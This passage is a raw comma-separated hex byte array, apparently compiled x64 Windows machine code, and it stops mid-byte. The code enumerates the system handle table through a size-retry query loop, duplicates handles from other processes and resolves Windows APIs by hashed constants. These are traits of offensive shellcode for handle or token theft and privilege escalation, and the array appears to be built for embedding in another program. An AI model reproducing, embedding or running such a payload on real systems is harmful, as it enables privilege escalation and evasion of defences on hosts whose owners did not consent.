0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE8,0x20,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xF8,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0xC3,0x48,0x8B,0x05,0x28,0x18,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x24,0x18,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xD2,0x00,0x00,0x00,0x8B,0x55,0xE8,0x48,0x8D,0x4D,0xE8,0x48,0x8B,0x45,0xF0,0x49,0x89,0xC9,0x41,0x89,0xD0,0x48,0x89,0xC2,0xB9,0x10,0x00,0x00,0x00,0xE8,0x0A,0x30,0x00,0x00,0x89,0x45,0xEC,0x81,0x7D,0xEC,0x04,0x00,0x00,0xC0,0x75,0x7C,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC3,0x75,0x00,0x00,0x48,0x8B,0x05,0xB4,0x17,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xB4,0x17,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xF8,0x8B,0x45,0xE8,0x89,0xC3,0x48,0x8B,0x05,0x80,0x17,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x7C,0x17,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xEB,0x2D,0x83,0x7D,0xEC,0x00,0x79,0x08,0xEB,0x25,0x90,0xE9,0x4C,0xFF,0xFF,0xFF,0x90,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0x8B,0x55,0xE8,0x48,0x8B,0x45,0x28,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x50,0x48,0x83,0x7D,0xF0,0x00,0x74,0x49,0x48,0x83,0x7D,0xF0,0x00,0x74,0x42,0x8B,0x45,0xE8,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0B,0x75,0x00,0x00,0x48,0x8B,0x05,0xFC,0x16,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xFC,0x16,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x48,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x1B,0x48,0x8B,0x45,0x10,0x8B,0x55,0xFC,0x8B,0x44,0x90,0x04,0x39,0x45,0x18,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x14,0x83,0x45,0xFC,0x01,0x48,0x8B,0x45,0x10,0x8B,0x00,0x39,0x45,0xFC,0x72,0xDA,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x61,0x16,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x24,0x4E,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x5A,0x16,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xC1,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xE9,0x92,0x00,0x00,0x00,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x8B,0x55,0x10,0x48,0x01,0xD0,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x0F,0xB7,0x00,0x0F,0xB7,0xD0,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x28,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x55,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x88,0x13,0x00,0x00,0x76,0x20,0x48,0x8D,0x05,0x2D,0x9A,0x00,0x00,0x48,0x89,0xC1,0xE8,0x75,0xCA,0xFF,0xFF,0x48,0x8D,0x05,0x2C,0x99,0x00,0x00,0x48,0x89,0xC1,0xE8,0x66,0xCA,0xFF,0xFF,0xEB,0x4D,0x48,0x8B,0x45,0xE8,0x44,0x0F,0xB7,0x00,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x8D,0x48,0x01,0x48,0x8B,0x55,0xF0,0x89,0x0A,0x41,0x0F,0xB7,0xC8,0x48,0x8B,0x55,0xF0,0x89,0xC0,0x89,0x4C,0x82,0x04,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0x10,0x8B,0x00,0x39,0x45,0xF8,0x0F,0x82,0x5F,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x18,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x4E,0x48,0x83,0x7D,0xF0,0x00,0x74,0x47,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x48,0x8B,0x45,0xF0,0x41,0xB8,0x24,0x4E,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x54,0x73,0x00,0x00,0x48,0x8B,0x05,0x45,0x15,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x45,0x15,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xFC,0x01,0x00,0x00,0xC0,0xC7,0x45,0xEC,0x00,0x10,0x00,0x00,0x8B,0x45,0xEC,0x89,0x45,0xF8,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x45,0xF8,0x8B,0x45,0xEC,0x89,0xC3,0x48,0x8B,0x05,0xD9,0x14,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD5,0x14,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA2,0x00,0x00,0x00,0x8B,0x4D,0xEC,0x48,0x8B,0x55,0xF0,0x48,0x8D,0x45,0xEC,0x48,0x89,0x44,0x24,0x20,0x41,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x03,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xE8,0x5F,0x2D,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x78,0x1B,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0x8B,0x55,0xEC,0x48,0x8B,0x45,0x28,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x59,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4F,0x72,0x00,0x00,0x48,0x8B,0x05,0x40,0x14,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x40,0x14,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xFC,0x04,0x00,0x00,0xC0,0x0F,0x84,0x26,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xDC,0x48,0x8D,0x45,0xE0,0x48,0x89,0xC1,0xE8,0xA3,0xFE,0xFF,0xFF,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x74,0x72,0x48,0x8B,0x45,0xE0,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xF0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xEB,0x50,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x08,0x48,0x8B,0x55,0x20,0x48,0x89,0xC1,0x48,0x8B,0x05,0x39,0x14,0x01,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x15,0x8B,0x45,0xEC,0x8D,0x50,0x02,0x48,0x8B,0x45,0x28,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x2D,0x48,0x8B,0x45,0xF0,0x0F,0xB7,0x40,0x02,0x0F,0xB7,0xC0,0x48,0x83,0xC0,0x07,0x48,0x83,0xE0,0xF8,0x48,0x83,0xC0,0x68,0x48,0x01,0x45,0xF0,0x83,0x45,0xEC,0x01,0x48,0x8B,0x45,0xE0,0x8B,0x00,0x39,0x45,0xEC,0x72,0xA5,0xEB,0x01,0x90,0x48,0x8B,0x45,0xE0,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0xE0,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xDC,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1E,0x71,0x00,0x00,0x48,0x8B,0x5D,0xE0,0x48,0x8B,0x05,0x0B,0x13,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x0F,0x13,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x81,0xEC,0xB8,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xB0,0x00,0x00,0x00,0x89,0x4D,0x20,0x89,0x55,0x28,0x44,0x89,0x45,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x01,0x00,0x00,0xC0,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xA4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0x94,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0x94,0x48,0x89,0xC2,0x48,0x8D,0x05,0xC1,0x95,0x00,0x00,0x48,0x89,0xC1,0xE8,0x54,0xFE,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x49,0x02,0x00,0x00,0x48,0x8D,0x55,0xA4,0x48,0x8D,0x45,0xA8,0x48,0x89,0xC1,0xE8,0xD2,0xF9,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x2F,0x02,0x00,0x00,0x48,0x8B,0x45,0xA8,0x48,0x8D,0x55,0x98,0x48,0x89,0xC1,0xE8,0x98,0xFB,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x15,0x02,0x00,0x00,0xC7,0x45,0xC4,0x40,0x00,0x00,0x00,0x8B,0x45,0xC4,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xB8,0x89,0x45,0xD0,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0xAF,0x01,0x00,0x00,0x48,0x8B,0x45,0x98,0x8B,0x55,0xE4,0x8B,0x44,0x90,0x04,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x3B,0x45,0xD0,0x0F,0x84,0x87,0x01,0x00,0x00,0x8B,0x45,0xD4,0x3B,0x45,0x20,0x0F,0x84,0x7E,0x01,0x00,0x00,0x83,0x7D,0xD4,0x00,0x0F,0x84,0x77,0x01,0x00,0x00,0x83,0x7D,0xD4,0x04,0x0F,0x84,0x70,0x01,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xE9,0x24,0x01,0x00,0x00,0x48,0x8B,0x4D,0xA8,0x8B,0x55,0xE0,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x01,0xC8,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xC8,0x48,0x8B,0x45,0xC8,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0xD4,0x0F,0x85,0xE4,0x00,0x00,0x00,0x48,0x8B,0x45,0xC8,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0x94,0x39,0xC2,0x0F,0x85,0xD1,0x00,0x00,0x00,0x48,0x8B,0x45,0xC8,0x8B,0x40,0x10,0x23,0x45,0x28,0x39,0x45,0x28,0x0F,0x85,0xC1,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x75,0x2A,0x8B,0x45,0xD4,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x01,0x00,0x00,0x00,0xBA,0x40,0x00,0x00,0x00,0x89,0xC1,0xE8,0xA5,0xF7,0xFF,0xFF,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0xA9,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC8,0x0F,0xB7,0x40,0x06,0x0F,0xB7,0xC0,0x49,0x89,0xC2,0x48,0x8D,0x4D,0xB0,0x48,0x8B,0x45,0xE8,0xC7,0x44,0x24,0x30,0x02,0x00,0x00,0x00,0x8B,0x55,0x30,0x89,0x54,0x24,0x28,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0xC7,0xC0,0xFF,0xFF,0xFF,0xFF,0x4C,0x89,0xD2,0x48,0x89,0xC1,0xE8,0x45,0x29,0x00,0x00,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x78,0x40,0x48,0x8B,0x45,0xB0,0x48,0x89,0xC1,0xE8,0x9F,0xE0,0xFF,0xFF,0x85,0xC0,0x74,0x11,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0xB0,0x48,0x89,0x45,0xF0,0xEB,0x36,0x48,0x8B,0x45,0xB0,0x48,0x89,0xC1,0xE8,0x49,0x25,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xE0,0x01,0x48,0x8B,0x45,0xA8,0x8B,0x00,0x39,0x45,0xE0,0x0F,0x82,0xCD,0xFE,0xFF,0xFF,0xEB,0x01,0x90,0x48,0x83,0x7D,0xE8,0x00,0x74,0x20,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x0C,0x25,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xE4,0x01,0x83,0x7D,0xFC,0x00,0x75,0x0F,0x48,0x8B,0x45,0x98,0x8B,0x00,0x39,0x45,0xE4,0x0F,0x82,0x3C,0xFE,0xFF,0xFF,0x83,0x7D,0xFC,0x00,0x75,0x29,0x48,0x8D,0x05,0xA4,0x94,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB4,0xC4,0xFF,0xFF,0x48,0x8D,0x05,0x6B,0x93,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA5,0xC4,0xFF,0xFF,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xA8,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0xA8,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xA4,0x89,0xC2,0x48,0x8B,0x45,0xA8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD6,0x6D,0x00,0x00,0x48,0x8B,0x5D,0xA8,0x48,0x8B,0x05,0xC3,0x0F,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC7,0x0F,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x98,0x48,0x85,0xC0,0x74,0x49,0x48,0x8B,0x45,0x98,0x48,0x85,0xC0,0x74,0x40,0x48,0x8B,0x45,0x98,0x41,0xB8,0x24,0x4E,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x84,0x6D,0x00,0x00,0x48,0x8B,0x5D,0x98,0x48,0x8B,0x05,0x71,0x0F,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x75,0x0F,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x74,0x0C,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0xF6,0x23,0x00,0x00,0x83,0x7D,0xFC,0x00,0x74,0x06,0x48,0x8B,0x45,0xF0,0xEB,0x05,0xB8,0x00,0x00,0x00,0x00,0x48,0x81,0xC4,0xB8,0x00,0x00,0x00,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0x90,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0x83,0x7D,0x10,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBF,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0xC7,0x45,0xFC,0x01,0x00,0x00,0xC0,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x8B,0x45,0x18,0x89,0x45,0xD8,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x4D,0x10,0x48,0x8D,0x55,0xC0,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x04,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x10,0x48,0x89,0xC1,0xE8,0x3A,0x26,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x08,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x05,0x23,0x00,0x00,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x81,0xC4,0x90,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x10,0x00,0x0F,0x84,0xFD,0x00,0x00,0x00,0x48,0x83,0x7D,0x18,0x00,0x0F,0x84,0xF2,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x96,0x92,0x00,0x00,0x48,0x89,0xC1,0xE8,0x51,0xE5,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xDB,0xFD,0x4F,0xE5,0x48,0x89,0xC1,0xE8,0x5F,0xE3,0xFF,0xFF,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0xBF,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x44,0x8B,0x45,0xF4,0x8B,0x4D,0xF8,0x48,0x8B,0x55,0x10,0x48,0x8B,0x45,0x18,0x4C,0x8B,0x55,0xE8,0x45,0x89,0xC1,0x41,0x89,0xC8,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xF0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x29,0x22,0x00,0x00,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x83,0x7D,0xF0,0x00,0x75,0x6D,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x0B,0x92,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC6,0xE4,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xDE,0x92,0x8E,0x56,0x48,0x89,0xC1,0xE8,0xD4,0xE2,0xFF,0xFF,0x48,0x89,0x45,0xE0,0x48,0x83,0x7D,0xE0,0x00,0x74,0x3E,0x48,0x8B,0x45,0x18,0x48,0x8B,0x00,0x48,0x8D,0x55,0xD8,0x4C,0x8B,0x55,0xE0,0x41,0xB9,0x08,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x15,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0x10,0x00,0x74,0x0C,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x94,0x21,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x1B,0x48,0x8B,0x45,0x18,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x45,0x18,0x48,0x8B,0x00,0x48,0x89,0xC1,0xE8,0x73,0x21,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x15,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xD8,0x48,0x89,0xC1,0xE8,0x58,0x21,0x00,0x00,0x83,0x7D,0xFC,0x00,0x74,0x06,0x48,0x8B,0x45,0xD8,0xEB,0x05,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x10,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x6F,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x08,0x91,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC3,0xE3,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xD4,0x0B,0x8F,0x24,0x48,0x89,0xC1,0xE8,0xD1,0xE1,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x36,0x48,0x8B,0x45,0x10,0x48,0x8B,0x55,0xF8,0x48,0x89,0xC1,0xFF,0xD2,0x89,0x45,0xF4,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xC3,0x20,0x00,0x00,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0x70,0x90,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x8D,0x05,0x8D,0x90,0x00,0x00,0x48,0x89,0x45,0xE8,0x48,0x8D,0x45,0xE0,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0xB8,0x02,0x00,0x00,0x00,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0xE8,0xB8,0x32,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x4F,0x4C,0x8D,0x45,0xF0,0x8B,0x4D,0x28,0x48,0x8B,0x55,0x20,0x48,0x8B,0x45,0x10,0x4D,0x89,0xC1,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x9F,0x00,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x2C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x48,0x00,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x1A,0x48,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x18,0x48,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x15,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xB0,0x1F,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0